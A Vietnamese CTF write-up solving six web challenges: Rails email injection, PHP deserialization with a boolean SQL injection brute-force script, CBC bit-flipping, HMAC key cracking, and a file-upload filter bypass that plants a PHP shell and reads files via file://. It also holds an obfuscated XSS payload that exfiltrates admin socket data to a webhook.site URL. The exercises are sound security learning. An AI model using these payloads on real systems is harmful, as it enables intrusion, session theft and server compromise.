
Ở giải lần này thì team mình đã **clear** được web challenges :>

# 1. Forgotten Password

Chall cho ta trang web như sau:

Như phần mô tả của challenge thì ta đã biết được rằng email của admin là `b8500763@gmail.com`, dựa vào tiêu đề và chức năng `Forgot password?` của trang web thì ta đoán là đây chính là nơi mà chúng ta cần khai thác.
Oke bây giờ cùng xem thử source code có gì:
Flag sẽ chứa trong email recover password

Đoạn code chủ yếu ta cần quan tâm trong đống code lằn ngoằng kia

- `params[:email]` ở đây có thể là POST hay GET tùy ý
- include? là một phương thức của String (chuỗi ký tự) trong Ruby. Nó kiểm tra xem chuỗi đó có chứa một chuỗi con (substring) nào đó hay không. Nếu có, nó trả về true, ngược lại trả về false.
Đây là method recovery_email

Điều đặc biệt là ta có thể phân tách các địa chỉ email bằng dấu chấm phẩy (;) và dấu phẩy (,) trong Ruby on Rails.
Khi bạn truyền một chuỗi chứa các địa chỉ email cách nhau bởi dấu chấm phẩy hoặc dấu phẩy vào tham số `to` của phương thức `mail`, Rails sẽ tự động tách chuỗi thành một mảng sử dụng dấu chấm phẩy hoặc dấu phẩy làm phân cách.
Ví dụ:
```ruby
class RecoveryMailer < ApplicationMailer
def recovery_email(email)
mail(to: email, subject: 'Flag').deliver_now
end
end
```
Bạn có thể gọi method `recovery_email` như sau:
```ruby
RecoveryMailer.recovery_email('email1@example.com; email2@example.com').deliver_now
```
Hoặc:
```ruby
emails = 'email1@example.com, email2@example.com, email3@example.com'
RecoveryMailer.recovery_email(emails).deliver_now
```
Cả hai cách trên đều sẽ gửi một email duy nhất đến tất cả các địa chỉ email được phân tách bởi dấu chấm phẩy hoặc dấu phẩy
Điều này hoạt động vì Rails sử dụng một regex (biểu thức chính quy) để tách chuỗi thành mảng dựa trên các ký tự phân cách phổ biến như dấu phẩy, dấu chấm phẩy,...
Oke từ những kiến thức trên thì ta chỉ việc nhập thêm email của mình vào ngay sau email của admin bằng dấu phẩy hoặc chấm phẩy là xong


**Kết quả**


`Flag: gigem{sptfy.com/Qhnv}`
# 2. Cereal

Chall cho ta trang web như sau:

Đăng nhập tài khoản được cung cấp ta được như sau

Giờ thì cùng xem source xử lí như thế nào

Đầu tiên thì unserialize cookies sau đó dùng những thông tin sau khi deser để hiển thị ra thông tin qua html
Cookies được tạo ra như sau:

Tới đây thì ta đã biết nó bị lỗi php deserialize ở class User() rồi
Class User() có magic method `__wakeup()` : sẽ được gọi tự động khi thực hiện quá trình deserialize

Cái chúng ta có thể tận dụng là 2 method được gọi trong `__wakeup()` là `validate()` và `refresh()`
Giờ thì cùng xem cái nào có thể tận dụng được
```php
public function refresh() {
// Database connection
$conn = new PDO('sqlite:../important.db');
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$query = "select username, email, favorite_cereal, creation_date from users where `id` = '" . $this->id . "' AND `username` = '" . $this->username . "'";
$stmt = $conn->prepare($query);
$stmt->execute();
$row = $stmt->fetch();
$this->profile = $row;
}
```
```php
public function validate() {
// Database connection
$conn = new PDO('sqlite:../important.db');
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$query = "select * from users where `username` = :username";
$stmt = $conn->prepare($query);
$stmt->bindParam(':username', $this->username);
$stmt->execute();
$row = $stmt->fetch();
if (md5($row['password']) !== $this->password) {
header('Location: logout.php');
exit;
}
}
```
Sau khi xem qua ta có thể dễ dàng phát hiện được refresh() đang bị dính lỗi SQLi

Ta có thể tận dụng thằng id để inject payload, oke trước tiên thì cứ bắt cookies lại xem như nào đã

Thì tài khoản guest đang có id bằng 1, bây giờ mình thử dò xem username của admin là gì bằng cách thử giá trị id lần lượt, sau khi thử nghiệm thì phát hiện được admin có id = 0


Vậy là ta đã biết được username của admin rồi, giờ thì brutefore password bằng SQLi boolean thôi
Giờ chỉ cần viết script tự động gen payload rồi inject là được
Script như sau :
```python
import requests, urllib3, os, sys, string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def gen_payload(payload):
code_gen = r'''
<?php
class User {
public $username = 'guest';
public $id ;
protected $password = '5f4dcc3b5aa765d61d8327deb882cf99';
protected $profile;
}
$cookie = new User();
$cookie->id = "%s";
$payload = base64_encode(serialize($cookie));
$file_path = 'payload.txt';
$file_handle = fopen($file_path, 'w+');
fwrite($file_handle, $payload);
fclose($file_handle);
?>
''' % (payload)
with open("chain.php", 'w') as file:
file.write(code_gen)
os.system("php chain.php")
def exploit(url, alphabet):
session = requests.Session()
password = ""
for i in range(1, 100):
for j in alphabet:
payload = "1' and substr((select password from users where username = 'admin'),%s,1)='%s'-- -"%(i,j)
gen_payload(payload)
with open("payload.txt", "r") as file:
auth = file.read()
cookies = {'auth': auth}
r = session.get(url, cookies=cookies, verify=False)
if "guest" in r.text:
password += j
sys.stdout.write(password)
sys.stdout.flush()
break
else:
sys.stdout.write(password + j)
sys.stdout.flush()
if len(password) < i:
print('\r' + "Password admin: " + password)
break
if __name__ == "__main__":
url = "https://cereal.tamuctf.com/profile.php"
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-!@#$%^&*(){}'
exploit(url, alphabet)
```
Ở đây script của mình sẽ gen payload vào file payload.txt sau đó đọc file payload.txt để lấy payload inject thôi.
Kết quả :

**Bonus:**
Sau khi kết thúc giải và xem writeup thì mình còn biết được có một cách giải khác hay hơn nữa bằng `EXCEPT` trong SQL là:
Phép toán `EXCEPT` sẽ trả về tất cả các bản ghi từ bảng đầu tiên (SELECT thứ nhất) mà không có trong bảng thứ hai (SELECT thứ hai). Điều này tương đương với việc lấy phần khác biệt (difference) giữa hai tập hợp.
Ví dụ:
Giả sử bạn có hai bảng `table1` và `table2`, và bạn muốn lấy tất cả các bản ghi từ `table1` mà không có trong `table2`, bạn có thể sử dụng câu lệnh SQL
```sql
SELECT column1, column2, ...
FROM table1
EXCEPT
SELECT column1, column2, ...
FROM table2;
```
Lưu ý rằng mỗi SELECT phải trả về cùng số lượng cột và các cột phải có cùng kiểu dữ liệu, vì phép toán `EXCEPT` sẽ so sánh các bản ghi giữa hai tập hợp theo từng cột.
Nếu table1 và table2 có cùng cấu trúc và chứa cùng các bản ghi, thì kết quả của phép toán EXCEPT sẽ là một tập hợp rỗng, và không có bản ghi nào được trả về.
Từ đây ta có thể lợi dụng EXCEPT để cho câu Select đầu tiên trả về rỗng sau đó lại dùng Union để in ra password của admin
Payload :
```0' except select username,email,favorite_cereal,creation_date from users where `id` = '0' union select username,email,password,creation_date from users where `id`='0'-- -```

Kết quả:

`Flag: gigem{c3r3aL_t0o_sWe3t_t0d2y}`
# 3. Flipped

Đây là một bài crypto trá hình

<details>
<summary>source.py</summary>
```python
from os import environ
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, make_response, Response
from base64 import b64encode, b64decode
import sys
import json
FLAG = environ['FLAG']
PORT = int(environ['PORT'])
default_session = '{"admin": 0, "username": "guest"}'
key = get_random_bytes(AES.block_size)
app = Flask(__name__)
def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))
def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
return unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode()
except Exception:
return None
@app.route('/')
def index():
session = request.cookies.get('session')
if session == None:
res = Response(open(__file__).read(), mimetype='text/plain')
res.set_cookie('session', encrypt(default_session).decode())
return res
elif (plain_session := decrypt(session)) == default_session:
return Response(open(__file__).read(), mimetype='text/plain')
else:
if plain_session != None:
try:
if json.loads(plain_session)['admin'] == True:
return FLAG
else:
return 'You are not an administrator'
except Exception:
return 'You are not an administrator'
else:
return 'You are not an administrator'
if __name__ == '__main__':
app.run('0.0.0.0', PORT)
```
</details>
Như phần
Bài này có cơ chế như sau:
https://crypto.stackexchange.com/questions/66085/bit-flipping-attack-on-cbc-mode

Script solve như sau :
```python
import base64
from pwn import xor
session="vA+Y+xRQqbj+onFDa5uIR0Qb8zx1zPs+5Db7uAzTX1Xp4Pby/GMwEZB2U7ozysdSyixXpIa0rYxqRa24BeFUGA=="
ciphertext = base64.b64decode(session)[16:]
iv = base64.b64decode(session)[:16]
session_default = b'''{"admin": 0, "us'''
new_iv = xor(xor(iv, session_default), b'{"admin": 1, "us')
payload = base64.b64encode(new_iv+ciphertext)
print(payload)
```
`Flag: gigem{verify_your_cookies}`
# 4. Cracked

Tiếp tục là một bài crypto trá hình nữa

<details>
<summary>source.py</summary>
```python
from os import environ
from hashlib import sha1
from flask import Flask, request, make_response, Response
from base64 import b64encode, b64decode
import hmac
import json
KEY = environ['KEY']
FLAG = environ['FLAG']
PORT = int(environ['PORT'])
default_session = '{"admin": 0, "username": "guest"}'
app = Flask(__name__)
def sign(m):
return b64encode(hmac.new(KEY.encode(), m.encode(), sha1).digest()).decode()
def verify(m, s):
return hmac.compare_digest(b64decode(sign(m)), b64decode(s))
@app.route('/')
def index():
session = request.cookies.get('session')
sig = request.cookies.get('sig')
if session == None or sig == None:
res = Response(open(__file__).read(), mimetype='text/plain')
res.set_cookie('session', b64encode(default_session.encode()).decode())
res.set_cookie('sig', sign(default_session))
return res
elif (plain_session := b64decode(session).decode()) == default_session:
return Response(open(__file__).read(), mimetype='text/plain')
else:
if plain_session != None and verify(plain_session, sig) == True:
try:
if json.loads(plain_session)['admin'] == True:
return FLAG
else:
return 'You are not an administrator'
except Exception:
return 'You are not an administrator'
else:
return 'You are not an administrator'
if __name__ == '__main__':
app.run('0.0.0.0', PORT)
```
</details>
Mình tìm được bài viết này:
https://security.stackexchange.com/questions/150388/recover-key-in-hmac-sha256-message-authentication
Dựa theo bài viết trên thì các bước solve như sau :
Bước 1: brute-force key
Link file rockyou.txt : https://github.com/josuamarcelc/common-password-list/tree/main/rockyou.txt
```python
import hmac
import base64
from hashlib import sha1
session=base64.b64decode("eyJhZG1pbiI6IDAsICJ1c2VybmFtZSI6ICJndWVzdCJ9")
sig=base64.b64decode("vu/agvntRZDqOOnFpGFjl+GfnHQ=").hex()
keys = open('rockyou_2.txt').read().split() # Specifiy the path to the dictionary file
def mykey():
for i in keys:
digest=hmac.new(i.encode(), session, sha1)
digest.hexdigest()
if digest.hexdigest()==sig:
print ('password:', i)
break
mykey()
```
Tìm được key là: `6lmao9`
Bước 2: gen_new_data
```python
from hashlib import sha1
from base64 import b64encode, b64decode
import hmac
default_session = '{"admin": 1, "username": "guest"}'
KEY = "6lmao9"
def sign(m):
return b64encode(hmac.new(KEY.encode(), m.encode(), sha1).digest()).decode()
payload = b64encode(default_session.encode())
sig = sign(default_session)
print(payload)
print(sig)
```
`Flag: gigem{maybe_pick_a_better_password_next_time}`
# 5. Imposter

Challenge cho ta trang web như sau:

Đầu tiên thì ta cứ đăng kí tài khoản rồi test chức năng của nó

Vì bài này không cho source code, nên thử view source code trên trình duyệt xem thử
<details>
<summary>view-source</summary>
```html
<!DOCTYPE html>
<html>
<head>
<!--Title courtesy of c0br4_-->
<title>Discorb</title>
<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
<script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.30.1/moment.min.js"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.1/font/bootstrap-icons.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css">
<script>
function save_chat(user) {
messages = document.getElementById('chat').innerHTML;
localStorage.setItem(user, messages);
}
function load_chat(user) {
messages = localStorage.getItem(user);
document.getElementById('chat').innerHTML = messages;
}
function set_active_dm(dom, e) {
e.preventDefault();
prev = document.getElementById('active-dm');
if(prev != dom) {
dom.id = prev.id;
prev.id = '';
dom.classList.add('active');
prev.classList.remove('active');
dom.children[0].children[0].style.opacity=0;
save_chat(prev.name);
load_chat(dom.name);
}
}
function parse_user(user) {
user = user.split('#');
if(user.length == 2 && user[1].length == 4 && /^\d+$/.test(user[1]))
return true;
return false;
}
function new_dm() {
modal_box = document.getElementById('new-dm-box');
user = modal_box.value
modal_box.value = '';
if(user != '' && parse_user(user)) {
dms = localStorage.getItem('dms');
names = []
if(dms != null) {
names = JSON.parse(dms);
}
if(!names.includes(user)) {
names.push(user);
localStorage.setItem('dms', JSON.stringify(names));
dm_list = document.getElementById('user-list');
dm_list.innerHTML = `<li class="nav-item"><a href="" name="${user}" class="nav-link text-white" onclick="set_active_dm(this, event)"><svg class="bi bi-circle-fill" width="16" height="16"><circle cx="8" cy="8" r="8" fill="white" opacity="0"/></svg> ${user}</a></li>` + dm_list.innerHTML
set_active_dm(user);
}
}
}
var socket;
function scrollToBottom() {
chat = document.getElementById('chat');
chat.scrollTop = chat.scrollHeight;
}
$(document).ready(function(){
load_chat('admin#0000');
scrollToBottom();
dms = localStorage.getItem('dms');
if(dms != null) {
for(const user of JSON.parse(dms)) {
dm_list = document.getElementById('user-list');
dm_list.innerHTML = `<li class="nav-item"><a href="" name="${user}" class="nav-link text-white" onclick="set_active_dm(this, event)"><svg class="bi bi-circle-fill" width="16" height="16"><circle cx="8" cy="8" r="8" fill="white" opacity="0"/></svg> ${user}</a></li>` + dm_list.innerHTML
}
}
socket = io();
socket.on('connect', function(){
socket.emit('join');
});
socket.on('message', function(data) {
chat = document.getElementById('chat');
active = document.getElementById('active-dm');
if(active.textContent.trim() != data.from && data.to != data.from) {
from = document.getElementsByName(data.from)[0];
if(from != undefined) {
from.children[0].children[0].style.opacity=1;
} else {
dms = localStorage.getItem('dms');
names = []
if(dms != null) {
names = JSON.parse(dms);
}
if(!names.includes(data.from)) {
names.push(data.from);
localStorage.setItem('dms', JSON.stringify(names));
dm_list = document.getElementById('user-list');
dm_list.innerHTML = `<li class="nav-item"><a href="" name="${data.from}" class="nav-link text-white" onclick="set_active_dm(this, event)"><svg class="bi bi-circle-fill" width="16" height="16"><circle cx="8" cy="8" r="8" fill="white" opacity="1"/></svg> ${data.from}</a></li>` + dm_list.innerHTML
}
}
messages = localStorage.getItem(data.from);
if(messages != null) {
localStorage.setItem(data.from, messages + data.content);
} else {
localStorage.setItem(data.from, data.content);
}
} else {
let scrolling = chat.scrollTop + chat.clientHeight < chat.scrollHeight;
chat.insertAdjacentHTML('beforeend', data.content);
if (!scrolling) scrollToBottom();
save_chat(active.name);
}
});
$('#message-box').keypress(function(e) {
var code = e.keyCode || e.which;
if(code == 13) {
message = $('#message-box').val();
if(message != '') {
dst = document.getElementById('active-dm').name;
$('#message-box').val('');
if(message != '/flag') {
socket.emit('json', {'to': dst, 'message': message, 'time': moment().format('h:mm:ss A')});
} else {
socket.emit('flag');
}
}
}
});
$('#logout-button').click(function(event) {
event.preventDefault();
localStorage.clear();
window.location = this.href;
});
});
window.onload = scrollToBottom()
</script>
<style>
body {
display: flex;
height: 100vh;
width: 100vw;
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
background-color: #36393e;
}
.container {
display: grid;
grid-template-rows: 92.5% 7.5%;
height: 100vh;
padding-left: 2.5vw;
}
.chat {
width: 100%;
height: 100%;
overflow-y: auto;
scrollbar-width: none;
}
.chat::-webkit-scrollbar {
display: none;
}
.message {
padding: 10px;
padding-bottom: 0;
}
.message .sender {
color: white;
font-weight: bold;
}
.message .timestamp {
font-size: 0.8em;
color: #949BA4;
}
.message p {
margin-top: 0.5em;
color: #D6D6DC;
}
.message-box {
background-color: #383A40;
color: white;
border-radius: 8px;
width: 95%;
height: 45px;
padding-left: 15px;
font-size: 16px;
border: none;
box-shadow: none;
outline: none;
}
.message-box::placeholder {
color: #848690;
}
.sidebar {
background-color: #282b30;
}
.sidebar button {
min-width: 100%;
text-align: left;
}
.sidebar a:hover, .sidebar button:hover{
background-color: #36393d;
}
</style>
</head>
<body>
<div class="sidebar d-flex flex-column flex-shrink-0 p-3 text-white" style="width: 15vw;">
<a href="/" class="d-flex align-items-center mb-3 mb-md-0 me-md-auto text-white text-decoration-none">
<svg class="bi me-2" width="40" height="32"><use xlink:href="#bootstrap"></use></svg>
<span class="fs-4">Discorb</span>
</a>
<hr>
<ul id="user-list" class="nav nav-pills flex-column mb-auto">
<li class="nav-item">
<a id="active-dm" href="" name="admin#0000" class="nav-link active text-white" onclick="set_active_dm(this, event)">
<svg class="bi bi-circle-fill" width="16" height="16"><circle cx="8" cy="8" r="8" fill="white" opacity="0"/></svg>
admin#0000
</a>
</li>
<li class="nav-item">
<button class="nav-link text-white" data-bs-toggle="modal" data-bs-target="#new-dm">
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-plus-circle" viewBox="0 0 16 16">
<path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14m0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16"/>
<path d="M8 4a.5.5 0 0 1 .5.5v3h3a.5.5 0 0 1 0 1h-3v3a.5.5 0 0 1-1 0v-3h-3a.5.5 0 0 1 0-1h3v-3A.5.5 0 0 1 8 4"/>
</svg>
Start new DM
</button>
</li>
</ul>
<hr>
<div class="dropdown">
<a href="#" class="d-flex align-items-center text-white text-decoration-none dropdown-toggle" id="dropdownUser1" data-bs-toggle="dropdown">
<strong>nightcore#6440</strong>
</a>
<ul class="dropdown-menu dropdown-menu-dark text-small shadow" aria-labelledby="dropdownUser1">
<li><a id="logout-button" class="dropdown-item" href="/api/auth/logout">Sign out</a></li>
</ul>
</div>
</div>
<div class="container">
<div id="chat" class="chat">
</div>
<input
id="message-box"
type="text"
class="message-box"
placeholder="Message"
/>
</div>
<div class="modal fade" id="new-dm" tabindex="-1">
<div class="modal-dialog modal-dialog-centered">
<div class="modal-content" style="background: #1e2124 !important;">
<div class="modal-header" style="border: none">
<h1 class="modal-title fs-5 text-white">Start DM</h1>
<button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body">
<input id="new-dm-box" type="text" class="message-box" placeholder="example#1234">
</div>
<div class="modal-body">
<button type="button" class="btn btn-primary" data-bs-dismiss="modal" onclick="new_dm()">Add</button>
</div>
</div>
</div>
</div>
</body>
</html>
```
</details>
Để ý trong source nếu ta nhập `/flag` thì sẽ thực hiện gửi một websocket để lấy flag, nhưng đời không như là mơ nó chỉ khả thi chúng ta là admin#0000

**Vậy ý tưởng duy nhất của chúng ta là phải mạo danh được thằng admin để gửi `socket.emit('flag')` lên**
Bây giờ hãy cùng phân tích luồng hoạt động của ứng dụng web này
```javascript
$('#message-box').keypress(function(e) {
var code = e.keyCode || e.which;
if(code == 13) {
message = $('#message-box').val();
if(message != '') {
dst = document.getElementById('active-dm').name;
$('#message-box').val('');
if(message != '/flag') {
socket.emit('json', {'to': dst, 'message': message, 'time': moment().format('h:mm:ss A')});
} else {
socket.emit('flag');
}
}
}
});
```
Đoạn mã JavaScript này xử lý sự kiện `keypress` trên phần tử có ID `message-box`, có chức năng gửi tin nhắn đến người khác trong ứng dụng chat.
Cụ thể, đoạn code thực hiện các việc sau:
Kiểm tra nếu mã phím là 13 (tương ứng với phím Enter):
- Lấy nội dung trong phần tử `message-box` và gán cho biến `message`.
- Nếu `message` không rỗng:
- Lấy tên người nhận tin nhắn từ phần tử có ID `active-dm` và gán cho biến `dst`.
- Xóa nội dung trong phần tử `message-box`.
- Kiểm tra nếu `message` không phải là `/flag`:
- Gửi một sự kiện `json` đến máy chủ qua `socket.emit`, bao gồm thông tin người nhận `dst`, nội dung tin nhắn `message` và thời gian hiện tại được định dạng bởi `moment().format('h:mm:ss A')`.
- Nếu `message` là `/flag`:
- Gửi một sự kiện `flag` đến máy chủ qua `socket.emit`.
Giả sử nội dung mình nhập vào box là
```javascript
<img src=x onerror=eval(atob('YWxlcnQoIkhlbGxvISBJIGFtIGFuIGFsZXJ0IGJveCEhIik7'))>
//alert("Hello! I am an alert box!!");
```
To server sẽ có dạng như sau (dùng burp suit để xem request) :

Tiếp tục xét đoạn code nhận phản hồi từ server (To client)
```javascript=
socket.on('message', function(data) {
chat = document.getElementById('chat');
active = document.getElementById('active-dm');
if(active.textContent.trim() != data.from && data.to != data.from) {
from = document.getElementsByName(data.from)[0];
if(from != undefined) {
from.children[0].children[0].style.opacity=1;
} else {
dms = localStorage.getItem('dms');
names = []
if(dms != null) {
names = JSON.parse(dms);
}
if(!names.includes(data.from)) {
names.push(data.from);
localStorage.setItem('dms', JSON.stringify(names));
dm_list = document.getElementById('user-list');
dm_list.innerHTML = `<li class="nav-item"><a href="" name="${data.from}" class="nav-link text-white" onclick="set_active_dm(this, event)"><svg class="bi bi-circle-fill" width="16" height="16"><circle cx="8" cy="8" r="8" fill="white" opacity="1"/></svg> ${data.from}</a></li>` + dm_list.innerHTML
}
}
messages = localStorage.getItem(data.from);
if(messages != null) {
localStorage.setItem(data.from, messages + data.content);
} else {
localStorage.setItem(data.from, data.content);
}
} else {
let scrolling = chat.scrollTop + chat.clientHeight < chat.scrollHeight;
chat.insertAdjacentHTML('beforeend', data.content);
if (!scrolling) scrollToBottom();
save_chat(active.name);
}
});
```
(To client) data sẽ có dạng như sau:

Để ý dòng 30 khi chèn nội dung của `data.content` vào DOM:
```javascript
chat.insertAdjacentHTML('beforeend', data.content);
```
Đoạn mã này chèn giá trị của `data.content` trực tiếp vào DOM mà không có bất kỳ xử lý an toàn nào, cho phép kẻ tấn công chèn mã JavaScript độc hại vào `data.content` và thực thi nó trên trình duyệt của người dùng khác.
Vậy ta đã thực hiện XSS thành công


Đoạn mã độc sẽ được thực thi ở 2 phía luôn, oke từ ý tưởng trên thì ta chỉ cần sửa lại đoạn code js như sau :
```javascript
var s = io();
s.on('connect', function() {s.emit('join')});
s.emit('flag');
s.on('message', function(data) {
var x = 'https://webhook.site/c4e92f31-3521-43e1-8427-adc118841dfc/?c='+btoa(JSON.stringify(data));
document.location=x;
});
```
Encode base64 đoạn code trên và cho vào thẻ `<img>`
Payload cuối cùng sẽ như sau:
```
<img src=x onerror=eval(atob('dmFyIHMgPSBpbygpOw0Kcy5vbignY29ubmVjdCcsIGZ1bmN0aW9uKCkge3MuZW1pdCgnam9pbicpfSk7DQpzLmVtaXQoJ2ZsYWcnKTsNCnMub24oJ21lc3NhZ2UnLCBmdW5jdGlvbihkYXRhKSB7DQogICAgdmFyIHggPSAnaHR0cHM6Ly93ZWJob29rLnNpdGUvYzRlOTJmMzEtMzUyMS00M2UxLTg0MjctYWRjMTE4ODQxZGZjLz9jPScrYnRvYShKU09OLnN0cmluZ2lmeShkYXRhKSk7DQogICAgZG9jdW1lbnQubG9jYXRpb249eDsNCn0pOw=='))>
```
Bây giờ chỉ cần gửi cái này cho `admin#0000` sau đó qua webhook lụm flag thoii


`Flag: {its_like_xss_but_with_extra_steps}`
# 6. Remote

Đây là một challenge upload file

Chú ý ở phần mô tả của challenge bảo là có chức năng upload thông qua url, đoán rằng đây chính là chức năng chúng ta cần khai thác ở challenge này rồi

Công nhận filter gắt thật, nhưng cùng đi phân tích xem nó có lổ hổng gì không, xét dòng code sau :
```php
filter_var($_REQUEST['url'], FILTER_SANITIZE_URL);
```

Có nghĩa là `phăp` nếu thông qua hàm trên sẽ trở thành `php`
Vậy là bypass thành công, `phăp` sẽ không bị filter bởi hàm `preg_match()`, mà sau khi qua hàm filter_var() nó sẽ lại trở thành `php`
Oke bây giờ mình sẽ host một file shell.php thông qua gist

Sau khi qua các lớp filter nó sẽ trở thành `php` bình thường
Upload thành công

Đường dẫn sau khi upload sẽ là
/tmp/uploads/<PHPSESSID>/<filename>.php
Giờ ta chỉ cần truy cập shell để lụm flag thôi

Đời không như là mơ nó bị lỗi 404, nhưng rõ là nó upload lên rồi mà???
Sau một hồi stuck lây hoay thì mình đã thử xóa chữ `tmp` đi và cái kết lại được


Nói chung ở chỗ này mình không hiểu, chắc server config gì đó rồi, sử dụng Alias chẳng hạn
Đặt ra giả thuyết rằng chúng ta có thể lợi dụng chức năng upload qua url này để đọc file hệ thống không.
Câu trả lời là có? Chính là thông qua giao thức`file://`
`file://` là một giao thức URI (Uniform Resource Identifier) được sử dụng để truy cập các tệp tin hoặc thư mục trên hệ thống tệp cục bộ.
Do đang băn khoăn không hiểu cách hoạt động của đường dẫn trên nên mình sẽ thử đọc file cấu hình
Sử dụng trang này thì mình tìm được một số đường dẫn mặc định chứa file cấu hình: https://exampleconfig.com/search/?q=%2Fetc%2Fapache2

Thử lần lượt thì được file sau

Đúng thật là server đã cấu hình Alias

Ngoài ra nếu ta đọc file `/var/log/apache2/access.log` thì ta có thể thấy được đường dẫn file shell.php của các người chơi khác hoặc là cả tên file flag luôn
Đây chắc có thể là ngoài ý muốn :>


`Flag: gigem{new_features_means_new_opportunities}`